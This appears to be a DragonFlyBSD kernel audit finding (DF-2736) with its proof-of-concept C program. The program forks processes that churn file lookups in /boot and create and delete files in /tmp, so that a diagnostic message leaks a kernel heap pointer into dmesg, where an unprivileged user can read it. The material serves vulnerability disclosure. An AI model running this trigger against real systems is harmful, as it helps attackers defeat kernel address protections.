⬢ DragonFlyBSD Kernel Audit
DF-2736 / ncp_churn.c
← back to finding ↓ download raw
/*
 * DF-2736: vop_compat_* fallback prints "[diagnostic] EAGAIN on ncp %p %s"
 * (vfs_default.c:200) leaking a kernel namecache heap pointer + pathname
 * into the world-readable msgbuf (security.unprivileged_read_msgbuf=1).
 * Churn lookups on a UFS mount (/boot uses vop_compat_nresolve as UFS has
 * no native nresolve) while pressing the vnode cache, then read dmesg
 * AS AN UNPRIVILEGED USER and grep for the diagnostic line.
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

int
main(int argc, char **argv)
{
	const char *dir = argc > 1 ? argv[1] : "/boot";
	int secs = argc > 2 ? atoi(argv[2]) : 60;
	int nproc = argc > 3 ? atoi(argv[3]) : 4;

	setvbuf(stderr, NULL, _IONBF, 0);
	fprintf(stderr, "[*] churning lookups on %s for %ds x %d procs\n",
	    dir, secs, nproc);

	for (int i = 1; i < nproc; i++) {
		pid_t p = fork();
		if (p == 0)
			break;
	}
	/* churn: open/stat every entry repeatedly, plus create/delete
	 * churn in /tmp (vnode cache pressure) */
	time_t t0 = time(NULL);
	long iters = 0;
	char path[1024];
	while (time(NULL) - t0 < secs) {
		DIR *d = opendir(dir);
		if (d) {
			struct dirent *de;
			while ((de = readdir(d)) != NULL) {
				struct stat st;
				snprintf(path, sizeof(path), "%s/%s",
				    dir, de->d_name);
				if (lstat(path, &st) == 0) {
					int fd = open(path, O_RDONLY);
					if (fd >= 0)
						close(fd);
				}
				iters++;
			}
			closedir(d);
		}
		/* vnode cache pressure: create+delete files in /tmp */
		for (int k = 0; k < 8; k++) {
			snprintf(path, sizeof(path),
			    "/tmp/.churn%ld.%d", (long)getpid(), k);
			int fd = open(path, O_CREAT | O_RDWR, 0600);
			if (fd >= 0) {
				write(fd, "x", 1);
				close(fd);
				unlink(path);
			}
		}
	}
	fprintf(stderr, "[*] pid %d did %ld lookups\n", getpid(), iters);
	return 0;
}